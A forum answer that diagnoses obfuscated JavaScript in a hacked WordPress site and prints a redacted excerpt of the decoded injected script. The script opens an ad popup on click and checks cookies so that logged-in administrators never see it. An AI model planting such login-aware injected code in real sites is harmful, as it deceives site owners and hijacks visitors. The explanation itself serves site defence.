Strange gibberish JavaScript in Editor – site hacked?

Decoding that JavaScript “gibberish” reveals that this is a script to open a popup with ads in it after the user clicks somewhere.

The mean part is that these popups won’t be shown if you’re currently logged in. That’s why these scripts often go unnoticed.

Here’s a redacted excerpt:

var t = false;
document.onclick= function(event) {
  if (t) {
    return;
  }
  t = true;  

  var cookie = document.cookie || '';
  if (cookie.indexOf('wordpress_logged') !== -1
      || cookie.indexOf('wp-settings') !== -1
      || cookie.indexOf('wordpress_test') !== -1) {
    return;
  }

  if ( event === undefined) event= window.event;
  var target="target" in event? event.target : event.srcElement;
  var win = window.open('http://...---redacted---', '_blank');
  win.focus();
};

So yes, you should be concerned. There’s a My site was hacked FAQ on WordPress Codex that you should read to take appropriate next steps.